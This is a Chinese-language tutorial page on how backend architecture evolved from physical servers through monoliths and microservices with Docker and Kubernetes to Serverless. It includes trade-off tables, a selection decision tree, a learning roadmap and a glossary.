|
||||
|
||||
**了解架构演进的意义在于:**
|
||||
|
||||
1. **避免重复造轮子**:很多"新"概念其实早在几十年前就有雏形,了解历史能让你站在巨人的肩膀上
|
||||
2. **做出合理的技术选型**:没有最好的架构,只有最适合当前阶段的架构
|
||||
3. **理解技术背后的权衡**:每一次架构演进都是在**开发效率**、**系统性能**、**运维复杂度**之间做取舍
|
||||
4. **预判技术趋势**:历史总是押韵的,理解过去的演进规律有助于把握未来方向
|
||||
|
||||
<EvolutionIntroDemo />
|
||||
|
||||
---
|
||||
|
||||
## 2. 物理服务器时代 (1990s)
|
||||
|
||||
### 2.1 什么是物理服务器?
|
||||
|
||||
在互联网刚起步时,后端就是一台放在机房里的**物理服务器**(一台真实的电脑)。
|
||||
|
||||
::: tip 💡 通俗解释
|
||||
**物理服务器**就像你家里的台式机,但它:
|
||||
|
||||
- 7×24小时不关机
|
||||
- 放在专门的数据中心(有空调、UPS电源、消防系统)
|
||||
- 有更快的网络带宽(企业级光纤)
|
||||
- 有固定的公网IP地址(全世界都能访问)
|
||||
|
||||
这就好比你家 vs 餐厅:你家只是偶尔做饭,餐厅则是专业厨房,全天候营业,设备更专业。
|
||||
:::
|
||||
|
||||
### 2.2 核心特点
|
||||
|
||||
- **单机部署**:所有应用运行在一台物理机上
|
||||
- **手动运维**:需要人工上架、布线、安装系统
|
||||
- **垂直扩展**:性能不够时只能买更强的机器
|
||||
|
||||
::: details 🔧 垂直扩展 vs 水平扩展
|
||||
**垂直扩展**(Scale Up):升级单台服务器的配置(更多CPU、更大内存、更快硬盘)。
|
||||
|
||||
**水平扩展**(Scale Out):增加更多服务器,让它们一起工作。
|
||||
|
||||
**比喻**:
|
||||
|
||||
- 垂直扩展:把小餐厅改成大餐厅,装修更豪华,但只有一个厨师
|
||||
- 水平扩展:开连锁店,每个店规模不大,但有100家分店
|
||||
|
||||
**优缺点**:
|
||||
|
||||
- 垂直扩展简单,但有上限(顶级服务器很贵,且有限制)
|
||||
- 水平扩展理论上无限,但需要解决数据一致性问题
|
||||
:::
|
||||
|
||||
### 2.3 痛点
|
||||
|
||||
- **慢**:每次改代码都要手动上传,然后重启服务器
|
||||
- **贵**:扩容只能买更大的机器(垂直扩展)
|
||||
- **难扩展**:一台机器顶住所有请求,CPU满载时就只能排队
|
||||
|
||||
<PhysicalServerDemo />
|
||||
|
||||
### 2.4 物理服务器时代的优缺点
|
||||
|
||||
| 维度 | 评价 |
|
||||
| ------------ | ------------------------------------------------------------ |
|
||||
| **优点** | 完全掌控硬件,性能可预测;没有虚拟化开销;数据物理隔离,安全性高 |
|
||||
| **缺点** | 采购周期长(数周);前期投入大(CapEx);资源利用率低;扩容困难 |
|
||||
| **适用场景** | 金融核心系统、政府涉密系统、对数据主权有严格要求的场景 |
|
||||
|
||||
::: tip 💡 CapEx vs OpEx
|
||||
**CapEx**(Capital Expenditure):资本性支出,一次性投入大量资金购买硬件。
|
||||
|
||||
**OpEx**(Operating Expenditure):运营性支出,按使用量付费(如云服务器)。
|
||||
|
||||
**比喻**:
|
||||
|
||||
- CapEx:买房,一次性付几百万,之后每月只需交物业费
|
||||
- OpEx:租房,每月交房租,不用一次性掏大钱
|
||||
|
||||
**云时代**的启示:Serverless 和云服务让更多公司从 CapEx 转向 OpEx,降低创业门槛。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 3. 单体架构时代 (2000s)
|
||||
|
||||
### 3.1 什么是单体架构?
|
||||
|
||||
随着框架的出现(Rails / Django / Spring),大家把所有功能都塞进一个应用里。
|
||||
|
||||
::: tip 💡 通俗解释
|
||||
**单体架构**(Monolith)就像一个超级商场:
|
||||
|
||||
- 服装区、食品区、电器区都在同一栋楼里
|
||||
- 所有员工在一个管理系统里工作
|
||||
- 如果整栋楼停电,所有区域都停止营业
|
||||
|
||||
对比微服务就像商业街:每家店独立运营,一家店关门不影响其他店。
|
||||
:::
|
||||
|
||||
<MonolithDemo />
|
||||
|
||||
### 3.2 核心特点
|
||||
|
||||
- **单一代码库**:所有功能模块在同一个项目中
|
||||
- **共享数据库**:所有模块共用同一个数据库
|
||||
- **统一部署**:整个应用作为一个整体打包部署
|
||||
|
||||
### 3.3 优点
|
||||
|
||||
- **开发简单**:一个项目搞定所有功能
|
||||
- **部署方便**:把一个大包扔到服务器上就行
|
||||
- **调试容易**:本地启动就能调试所有功能
|
||||
|
||||
### 3.4 痛点:雪崩效应
|
||||
|
||||
想象一下,如果"切菜"的师傅不小心切到了手(代码出了Bug),整个后厨都要停下来处理伤口,导致所有客人都吃不上饭。
|
||||
|
||||
这就是单体架构最大的风险:**隔离性差**。
|
||||
|
||||
::: details 🚨 真实的雪崩案例
|
||||
某电商公司双十一大促:
|
||||
|
||||
- 订单服务因为某个商品的价格计算错误,抛出异常
|
||||
- 异常没有被正确捕获,导致线程池耗尽
|
||||
- 所有后续请求(包括商品浏览、搜索、用户登录)都被阻塞
|
||||
- 整个网站彻底瘫痪,持续1小时
|
||||
|
||||
**如果用微服务**:
|
||||
|
||||
- 订单服务挂了,但商品浏览、搜索、用户登录仍然可用
|
||||
- 用户至少可以继续浏览商品,损失降到最低
|
||||
:::
|
||||
|
||||
### 3.5 单体架构的优缺点与适用场景
|
||||
|
||||
| 维度 | 评价 |
|
||||
| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **优点** | 开发简单,无需考虑分布式复杂性;调试方便,本地启动即可调试全功能;部署简单,一个包即可运行;事务管理容易,单机数据库即可保证ACID |
|
||||
| **缺点** | 代码耦合度高,随着业务增长代码膨胀;技术栈单一,难以局部升级;扩展困难,只能整体扩容;故障隔离差,一个模块故障影响全局;团队协作效率低,多人改同一套代码 |
|
||||
| **适用场景** | 初创公司MVP验证、小型团队(<10人)、业务相对简单、对交付速度要求高于扩展性的场景 |
|
||||
| **不适用场景** | 大型团队并行开发、需要频繁发布不同模块、某些模块需要独立扩容的场景 |
|
||||
|
||||
::: tip 🎯 初学者建议
|
||||
如果你正在学习后端开发,**强烈建议从单体架构开始**:
|
||||
|
||||
1. **先学会走路**:理解HTTP、数据库、基本的MVC架构
|
||||
2. **再考虑跑步**:当项目真的遇到扩展性问题,再考虑微服务
|
||||
3. **避免过度设计**:很多公司的"微服务"其实是"分布式单体",更难维护
|
||||
|
||||
**学习路径**:
|
||||
|
||||
- 阶段1:用 Spring Boot / Django / Rails 写一个完整的单体应用
|
||||
- 阶段2:遇到性能瓶颈时,尝试拆分出1-2个服务
|
||||
- 阶段3:当团队规模>50人,系统真的复杂了,再全面微服务化
|
||||
:::
|
||||
|
||||
### 3.6 单体架构的技术栈
|
||||
|
||||
| 语言/框架 | 特点 | 代表企业 |
|
||||
| -------------------------- | ---------------------------- | --------------------- |
|
||||
| **Java + Spring** | 企业级开发首选,生态完善 | 阿里巴巴、京东 |
|
||||
| **PHP + Laravel/ThinkPHP** | 快速开发,适合中小型项目 | 早期 Facebook、微博 |
|
||||
| **Python + Django/Flask** | 开发效率高,适合快速原型 | Instagram、Pinterest |
|
||||
| **Ruby on Rails** | 约定优于配置,初创公司最爱 | GitHub、Twitter(早期) |
|
||||
| **Node.js + Express** | 前后端统一语言,I/O密集型场景 | Netflix、Uber |
|
||||
|
||||
---
|
||||
|
||||
## 4. 容器化与微服务 (2010s)
|
||||
|
||||
### 4.1 为什么需要微服务?
|
||||
|
||||
单体架构的痛点在2010年代集中爆发:
|
||||
|
||||
- **代码太庞大**:一个项目几百万行代码,新人入职要花一个月才能看懂
|
||||
- **部署太慢**:构建一次要30分钟,发布一次要小心翼翼
|
||||
- **协作太难**:100个开发者改同一个项目,代码冲突每天发生
|
||||
- **扩展太贵**:只需要扩展"聊天服务",却要复制整个应用
|
||||
|
||||
**微服务的核心思想**:把大应用拆成多个小服务,每个服务:
|
||||
|
||||
- 独立开发、独立部署
|
||||
- 有自己的数据库
|
||||
- 通过API通信
|
||||
|
||||
<ContainerDockerDemo />
|
||||
|
||||
::: tip 💡 Docker是什么?
|
||||
**Docker**就像是"集装箱":
|
||||
|
||||
- 每个集装箱里有独立的货物(代码 + 依赖库 + 运行环境)
|
||||
- 无论运到哪里(哪台服务器),打开集装箱就能直接开工
|
||||
- 不用担心"我这台机器没有Python 3.9"、"那个机器缺少某个库"
|
||||
|
||||
**比喻**:
|
||||
|
||||
- 没有 Docker:每次搬家,要把家具、电器、衣服一件件搬上卡车,到了新家再一件件摆好
|
||||
- 有 Docker:所有东西打包进集装箱,卡车直接运走,到了新家放下就能用
|
||||
|
||||
**核心价值**:"一次构建,到处运行"。
|
||||
:::
|
||||
|
||||
### 4.2 技术栈时间线
|
||||
|
||||
<TechStackTimelineDemo />
|
||||
|
||||
### 4.3 微服务架构
|
||||
|
||||
为了解决单体的问题,我们把大厨房拆成了很多个小厨房(服务):
|
||||
|
||||
- 专门负责用户的服务
|
||||
- 专门负责订单的服务
|
||||
- 专门负责支付的服务
|
||||
|
||||
<MicroservicesDemo />
|
||||
|
||||
### 4.4 Kubernetes 编排
|
||||
|
||||
当集装箱数量到达成百上千,就需要一个"港口调度系统":
|
||||
|
||||
- **Kubernetes (K8s)**:负责把容器安排到合适的机器上(调度、扩缩容、滚动更新)
|
||||
- **Service Mesh**:负责服务之间的交通规则(熔断、限流、重试、可观测)
|
||||
|
||||
<KubernetesDemo />
|
||||
|
||||
::: tip 💡 什么是"编排"?
|
||||
**编排**(Orchestration)是指自动管理大量容器的系统。
|
||||
|
||||
**比喻**:
|
||||
|
||||
- 没有 K8s:你手动管理100个容器,哪个挂了要手动重启,哪个流量大了要手动加机器
|
||||
- 有 K8s:你告诉它"我要这个服务一直有10个实例运行",它会自动完成:
|
||||
- 哪台服务器资源充足,就把容器调度到那里
|
||||
- 容器挂了,自动重启
|
||||
- 流量大了,自动扩容到20个实例
|
||||
- 更新代码时,滚动更新(先停1个旧实例,启动1个新实例,逐个替换)
|
||||
|
||||
**关键点**:微服务不是"拆开就好",真正的难点在于**治理和运维**。
|
||||
:::
|
||||
|
||||
### 4.5 微服务与容器化的优缺点
|
||||
|
||||
| 维度 | 评价 |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **优点** | 服务独立部署,技术栈可异构;故障隔离,单个服务崩溃不影响全局;按需扩展,热点服务单独扩容;团队协作友好,不同团队负责不同服务;代码库更小,易于理解和维护 |
|
||||
| **缺点** | 分布式复杂性高(网络延迟、分布式事务、服务发现);运维成本高,需要专业的DevOps团队;调试困难,问题可能需要跨多个服务追踪;数据一致性难以保证;部署和监控基础设施要求复杂 |
|
||||
| **适用场景** | 大型团队(>50人)、业务复杂需要分模块独立演进、某些模块需要独立扩容、需要多语言技术栈、对可用性要求高的系统 |
|
||||
| **不适用场景** | 小型团队、业务简单、流量小且稳定、没有专业运维团队的情况 |
|
||||
|
||||
::: details ⚠️ 微服务的陷阱
|
||||
**陷阱1:分布式单体**
|
||||
|
||||
拆了10个微服务,但它们之间紧密耦合:
|
||||
|
||||
- 服务A调用服务B,服务B调用服务C,服务C又调用服务A
|
||||
- 改一个功能,要同时改5个服务
|
||||
- 部署时,必须按顺序依次部署,否则系统报错
|
||||
|
||||
**这比单体更糟糕**:你拥有了单体的复杂性,又没有享受到微服务的独立部署好处。
|
||||
|
||||
**陷阱2:过度拆分**
|
||||
|
||||
把只有100行代码的功能也拆成一个独立服务:
|
||||
|
||||
- 10个服务,每个只有100行代码
|
||||
- 服务间通信的开销(网络序列化/反序列化)比实际业务逻辑还重
|
||||
- 运维成本爆炸:要部署、监控、日志收集10个服务
|
||||
|
||||
**正确做法**:从功能内聚的角度拆分,一个微服务应该是一个完整的业务能力(如"订单服务",而不是"订单创建服务"、"订单查询服务")。
|
||||
:::
|
||||
|
||||
### 4.6 微服务技术栈
|
||||
|
||||
| 类别 | 技术/工具 | 作用 |
|
||||
| ------------ | ---------------------------------- | -------------------- |
|
||||
| **容器化** | Docker, containerd | 应用打包与隔离 |
|
||||
| **编排调度** | Kubernetes, Docker Swarm | 容器管理与自动扩缩容 |
|
||||
| **服务发现** | Consul, etcd, ZooKeeper | 服务注册与发现 |
|
||||
| **API网关** | Kong, Zuul, Envoy | 统一入口、路由、限流 |
|
||||
| **配置中心** | Apollo, Nacos, Spring Cloud Config | 集中配置管理 |
|
||||
| **监控告警** | Prometheus, Grafana, ELK | 指标监控与日志分析 |
|
||||
| **链路追踪** | Jaeger, Zipkin, SkyWalking | 分布式请求追踪 |
|
||||
| **服务网格** | Istio, Linkerd | 流量治理与安全 |
|
||||
|
||||
---
|
||||
|
||||
## 5. Serverless 与云原生时代 (2020s+)
|
||||
|
||||
### 5.1 为什么需要 Serverless?
|
||||
|
||||
微服务虽然好,但维护几十个小厨房还是很累。你需要担心:
|
||||
|
||||
- 厨房够不够大?(服务器扩容)
|
||||
- 停电了怎么办?(高可用)
|
||||
- 容器太多怎么管?(运维成本)
|
||||
|
||||
<ServerlessDemo />
|
||||
|
||||
::: tip 💡 Serverless 不是真的"没有服务器"
|
||||
**Serverless**的意思是"你不需要管理服务器",而不是真的没有服务器。
|
||||
|
||||
**比喻**:
|
||||
|
||||
- **物理服务器时代**:你买地、盖房、装修、雇厨师、买食材...全部自己来
|
||||
- **云服务器时代**:你租一个已经装修好的餐厅,但自己雇厨师、管理运营
|
||||
- **Serverless时代**:你只需要设计菜单,云端有共享厨房,有专业厨师,你下单他们做,按次付费
|
||||
|
||||
**核心变化**:
|
||||
|
||||
- 以前:买服务器 → 配环境 → 部署代码 → 监控 → 扩容 → 维护
|
||||
- 现在:写代码 → 上传 → 按使用量付费
|
||||
|
||||
**就像外卖**:你不需要厨房,只需要设计菜单,有人帮你做。
|
||||
:::
|
||||
|
||||
### 5.2 什么是 Serverless?
|
||||
|
||||
**Serverless = FaaS + BaaS**
|
||||
|
||||
**FaaS**(Function as a Service,函数即服务):
|
||||
|
||||
- 你只写函数(如"用户注册时发送欢迎邮件")
|
||||
- 云厂商负责运行这个函数,自动扩缩容
|
||||
- 典型代表:AWS Lambda、阿里云函数计算
|
||||
|
||||
**BaaS**(Backend as a Service,后端即服务):
|
||||
|
||||
- 登录 → Auth0 / Supabase Auth
|
||||
- 支付 → Stripe
|
||||
- 数据库 → Supabase / Firebase / DynamoDB
|
||||
- 消息 → Kafka / SQS
|
||||
|
||||
::: tip 🎯 Serverless 适用场景
|
||||
**最佳场景**:
|
||||
|
||||
1. **潮汐流量**:外卖软件,中午流量大,半夜没人。Serverless会自动在中午分配1000台机器,半夜缩减到0台
|
||||
2. **事件驱动**:"用户上传图片后,自动压缩图片"
|
||||
3. **快速验证**:小团队、MVP、黑客松项目
|
||||
|
||||
**不适合场景**:
|
||||
|
||||
1. **长时间运行的任务**:视频转码(可能跑1小时,函数最大执行时间通常只有15分钟)
|
||||
2. **需要低延迟的应用**:高频交易(冷启动延迟可能几十毫秒到几秒)
|
||||
3. **需要精细控制底层**:操作系统内核调优、GPU直接访问
|
||||
:::
|
||||
|
||||
### 5.3 Serverless 与云原生的优缺点
|
||||
|
||||
| 维度 | 评价 |
|
||||
| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **优点** | 零运维成本,开发者只需关注业务代码;自动扩缩容,完美应对流量峰值;按需付费,无流量时成本接近零;快速上线,几分钟即可部署全球;高可用内置,云服务自动处理故障转移 |
|
||||
| **缺点** | 冷启动延迟(几百毫秒到数秒);运行时长限制(通常5-15分钟);调试困难,本地难以完全模拟云环境;供应商锁定风险;不适合长时间运行或计算密集型任务;成本在高频持续流量下可能反超传统方案 |
|
||||
| **适用场景** | 事件驱动处理(图片处理、消息通知);潮汐流量应用(活动页、促销);快速原型验证和MVP;低频API或后台任务;无专职运维团队的小团队 |
|
||||
| **不适用场景** | 需要持续低延迟的应用;长时间计算任务;对冷启动敏感的场景(高频交易);需要精细控制底层基础设施的场景 |
|
||||
|
||||
::: details 💰 成本对比:何时Serverless更贵?
|
||||
**场景1:低频访问**
|
||||
|
||||
- 传统服务器:每月$20(不管有没有人访问)
|
||||
- Serverless:100万次请求 × $0.0002/次 = $20(仅在有流量时付费)
|
||||
- **结论**:低频场景,Serverless更省钱
|
||||
|
||||
**场景2:高频持续访问**
|
||||
|
||||
- 传统服务器:每月$20
|
||||
- Serverless:1亿次请求 × $0.0002/次 = $20,000
|
||||
- **结论**:高频持续场景,传统服务器更省钱
|
||||
|
||||
**场景3:潮汐流量**
|
||||
|
||||
- 传统服务器:为了应对峰值,需要$100/月的服务器(平时资源利用率只有10%)
|
||||
- Serverless:峰值时$20,平时几乎$0
|
||||
- **结论**:潮汐流量场景,Serverless节省成本
|
||||
|
||||
**启示**:不要盲目上Serverless,要根据实际流量特征做成本测算。
|
||||
:::
|
||||
|
||||
### 5.4 Serverless 技术栈与平台
|
||||
|
||||
| 类别 | 技术/平台 | 特点 |
|
||||
| ------------ | ------------------------ | ---------------------------- |
|
||||
| **FaaS平台** | AWS Lambda | 最早的FaaS服务,生态最成熟 |
|
||||
| | Azure Functions | 微软云集成度高,.NET友好 |
|
||||
| | Google Cloud Functions | 与GCP服务深度集成 |
|
||||
| | 阿里云函数计算 | 国内生态完善,冷启动优化好 |
|
||||
| | 腾讯云云函数 | 与微信生态整合 |
|
||||
| | Vercel/Netlify Functions | 前端开发者友好,边缘部署 |
|
||||
| **BaaS服务** | Firebase | Google的移动端后端方案 |
|
||||
| | Supabase | PostgreSQL的Firebase开源替代 |
|
||||
| | AWS Amplify | AWS的移动和Web应用开发平台 |
|
||||
| **部署工具** | Serverless Framework | 多云部署,社区活跃 |
|
||||
| | Terraform | 基础设施即代码 |
|
||||
| | Pulumi | 用编程语言定义基础设施 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 各架构阶段对比与选型指南
|
||||
|
||||
### 6.1 架构演进全景对比
|
||||
|
||||
<ArchitectureComparisonDemo />
|
||||
|
||||
| 维度 | 物理服务器 | 单体架构 | 微服务+容器 | Serverless |
|
||||
| ---------------- | ---------------------- | ------------------ | ------------------------ | ------------------ |
|
||||
| **团队规模** | 1-5人 | 5-50人 | 50-500人 | 1-20人 |
|
||||
| **部署复杂度** | 极高 | 低 | 极高 | 极低 |
|
||||
| **运维成本** | 高 | 中 | 很高 | 低 |
|
||||
| **扩展性** | 差 | 垂直扩展有限 | 水平扩展优秀 | 自动扩展 |
|
||||
| **技术栈灵活性** | 无 | 单一 | 多样化 | 受限 |
|
||||
| **冷启动** | 无 | 无 | 容器启动时间 | 有延迟 |
|
||||
| **适用场景** | 遗留系统、特殊合规要求 | 初创公司、业务简单 | 大型互联网公司、复杂业务 | 快速验证、事件驱动 |
|
||||
|
||||
### 6.2 技术选型决策树
|
||||
|
||||
```
|
||||
开始选型
|
||||
│
|
||||
├─ 团队有专业运维人员?
|
||||
│ ├─ 是 → 考虑微服务或物理机
|
||||
│ └─ 否 → 继续判断
|
||||
│
|
||||
├─ 需要快速上线验证想法?
|
||||
│ ├─ 是 → Serverless 或单体
|
||||
│ └─ 否 → 继续判断
|
||||
│
|
||||
├─ 团队规模 > 50人?
|
||||
│ ├─ 是 → 考虑微服务
|
||||
│ └─ 否 → 继续判断
|
||||
│
|
||||
├─ 流量有明显峰谷特征?
|
||||
│ ├─ 是 → Serverless
|
||||
│ └─ 否 → 单体架构(推荐初创)
|
||||
│
|
||||
└─ 特殊要求(合规、遗留系统)?
|
||||
└─ 是 → 物理服务器
|
||||
```
|
||||
|
||||
::: tip 🎯 初学者选型建议
|
||||
**如果你是个开发者或小团队:**
|
||||
|
||||
1. **阶段0 (学习)**:本地跑单体应用,理解HTTP、数据库、基本架构
|
||||
2. **阶段1 (MVP)**:部署单体应用到云服务器(如阿里云ECS、AWS EC2)
|
||||
3. **阶段2 (增长)**:当团队>10人、业务变复杂,考虑拆分出1-2个微服务
|
||||
4. **阶段3 (成熟)**:当团队>50人、流量百万级,全面微服务化
|
||||
|
||||
**关键原则**:不要一开始就上微服务,那是"过早优化"。让架构随业务成长而演进。
|
||||
:::
|
||||
|
||||
### 6.3 不同场景下的推荐架构
|
||||
|
||||
#### 场景一:独立开发者/兼职项目
|
||||
|
||||
- **推荐架构**:Serverless (Vercel/Netlify) 或 单体应用
|
||||
- **理由**:几乎零运维成本,按需付费,快速上线
|
||||
- **示例技术栈**:Next.js + Vercel + Supabase
|
||||
|
||||
#### 场景二:初创公司MVP验证
|
||||
|
||||
- **推荐架构**:单体架构 + 云服务器
|
||||
- **理由**:开发速度快,团队可以专注于业务逻辑而非基础设施
|
||||
- **示例技术栈**:Spring Boot / Django / Rails + RDS + ECS
|
||||
|
||||
#### 场景三:成长型公司(10-50人团队)
|
||||
|
||||
- **推荐架构**:模块化单体 或 轻量级微服务
|
||||
- **理由**:开始面临代码耦合问题,但还不需要完整的微服务复杂度
|
||||
- **示例技术栈**:Spring Cloud / Go Micro + Kubernetes
|
||||
|
||||
#### 场景四:大型互联网公司
|
||||
|
||||
- **推荐架构**:微服务 + 服务网格 + 中台架构
|
||||
- **理由**:团队规模大,业务复杂,需要独立的发布节奏和技术栈
|
||||
- **示例技术栈**:自研RPC框架 + Istio + 自建PaaS平台
|
||||
|
||||
#### 场景五:事件驱动/潮汐流量应用
|
||||
|
||||
- **推荐架构**:Serverless + 事件总线
|
||||
- **理由**:流量波动大,需要极致的成本优化和自动扩缩容
|
||||
- **示例技术栈**:AWS Lambda + API Gateway + EventBridge
|
||||
|
||||
---
|
||||
|
||||
## 7. 总结与学习路线
|
||||
|
||||
### 7.1 核心要点
|
||||
|
||||
后端架构的演进,本质上是在做**加法**和**减法**:
|
||||
|
||||
| 时代 | 架构 | 开发者要做的事 | 运维要做的事 |
|
||||
| :------------- | :----- | :--------------- | :----------------- |
|
||||
| **物理时代** | 单机 | 写脚本、手动部署 | 维护机房与硬件 |
|
||||
| **单体时代** | 一整块 | 写所有业务逻辑 | 维护几台大服务器 |
|
||||
| **微服务时代** | 拆分 | 关注单一业务 | 维护K8s集群(很累!) |
|
||||
| **Serverless** | 函数 | 只写核心函数 | 喝茶(云厂商全包了) |
|
||||
|
||||
**关键洞察**:
|
||||
|
||||
- 架构演进不是"新技术取代旧技术",而是**适用场景的变化**
|
||||
- 没有银弹,每个架构都有其适用的边界
|
||||
- 选择架构要考虑:团队规模、业务复杂度、流量特征、运维能力
|
||||
|
||||
### 7.2 学习路线建议
|
||||
|
||||
根据你的职业阶段,推荐以下学习路径:
|
||||
|
||||
#### 阶段一:打好基础(0-1年)
|
||||
|
||||
**目标**:理解后端核心概念,能独立开发单体应用
|
||||
|
||||
- 掌握一门后端语言(Java/Python/Go任选其一)
|
||||
- 学习HTTP协议和RESTful API设计
|
||||
- 掌握关系型数据库(MySQL/PostgreSQL)
|
||||
- 了解缓存基础(Redis)
|
||||
- 学习Git和基础Linux命令
|
||||
- **实践项目**:用单体架构完成一个CRUD应用(如博客系统、待办事项)
|
||||
|
||||
#### 阶段二:扩展能力(1-3年)
|
||||
|
||||
**目标**:理解分布式系统,能参与微服务开发
|
||||
|
||||
- 深入学习微服务架构和拆分策略
|
||||
- 掌握Docker和Kubernetes基础
|
||||
- 学习消息队列(Kafka/RabbitMQ)
|
||||
- 了解分布式事务和一致性
|
||||
- 掌握监控和日志(Prometheus/ELK)
|
||||
- **实践项目**:将单体应用拆分为3-5个微服务,使用Docker部署
|
||||
|
||||
#### 阶段三:专业深化(3-5年)
|
||||
|
||||
**目标**:能设计大型系统,具备技术选型能力
|
||||
|
||||
- 深入理解云原生架构(Service Mesh、Serverless)
|
||||
- 掌握容量规划和性能调优
|
||||
- 了解多活架构和灾备设计
|
||||
- 学习DDD(领域驱动设计)
|
||||
- 培养技术判断力和架构思维
|
||||
- **实践项目**:设计一个支持百万级用户的系统架构,包含高可用、弹性伸缩等方案
|
||||
|
||||
### 7.3 持续学习资源推荐
|
||||
|
||||
**书籍**:
|
||||
|
||||
- 《设计数据密集型应用》(DDIA)- 分布式系统必读
|
||||
- 《云原生模式》
|
||||
- 《微服务设计》
|
||||
- 《领域驱动设计》
|
||||
|
||||
**在线资源**:
|
||||
|
||||
- AWS/Azure/阿里云官方架构文档
|
||||
- CNCF(云原生计算基金会)项目文档
|
||||
- 各大公司技术博客(Netflix Tech Blog、阿里技术公众号等)
|
||||
|
||||
---
|
||||
|
||||
## 8. 名词速查表(Glossary)
|
||||
|
||||
| 名词 | 全称 | 解释 |
|
||||
| :---------------- | :-------------------------------- | :------------------------------------------------ |
|
||||
| **Backend** | - | 服务器端系统,负责处理业务逻辑、数据存储和对外接口 |
|
||||
| **CGI** | Common Gateway Interface | 早期动态网页技术,通过脚本处理请求并返回结果 |
|
||||
| **Monolith** | - | 单体架构,把所有业务逻辑打包在同一个应用中 |
|
||||
| **Microservices** | - | 微服务架构,把业务拆分成多个独立服务 |
|
||||
| **Container** | - | 容器化技术,把应用和依赖打包成可移植单元 |
|
||||
| **K8s** | Kubernetes | 容器编排平台,用于调度、扩缩容和治理容器 |
|
||||
| **Service Mesh** | - | 服务网格,负责微服务间通信治理、观测与安全 |
|
||||
| **Serverless** | - | 无服务计算,开发者只写函数,平台自动运行与扩缩容 |
|
||||
| **BaaS** | Backend as a Service | 即插即用的后端云服务(认证、数据库、支付等) |
|
||||
| **CI/CD** | Continuous Integration / Delivery | 持续集成与持续交付,自动化测试与部署流程 |
|
||||
| **Observability** | - | 可观测性,利用日志/指标/追踪理解系统运行状态 |
|
||||
Reference in New Issue
Block a user